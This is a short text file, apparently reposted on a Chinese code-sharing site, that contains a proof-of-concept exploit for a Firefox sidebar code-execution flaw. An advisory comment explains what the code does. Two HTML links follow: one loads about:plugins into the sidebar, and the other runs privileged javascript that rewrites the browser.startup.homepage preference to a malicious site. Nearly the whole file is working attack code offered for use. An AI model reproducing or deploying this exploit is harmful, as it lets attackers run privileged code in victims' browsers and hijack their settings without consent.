mozilla firefox sidebar code execution proof of concept exploit.txt

来自「一些可以实现益出的程序」· 文本 代码 · 共 9 行

// FrSIRT Comment : If a user clicks on a link, this code will load "about:plugins"
// into Firefox sidebar panel and will overwrite "browser.startup.homepage", 
// which will change the homepage to malicious.com

<a href="about:plugins" target="_search">Click Here First</a><br>
<a href="javascript: var prefs = Components.classes['@mozilla.org/preferences-service;1']
.getService(Components.interfaces.nsIPrefBranch); prefs.setCharPref('browser.startup.homepage',
'http://www.malicious.com/');" target="_search">Next, Click Here</a></p>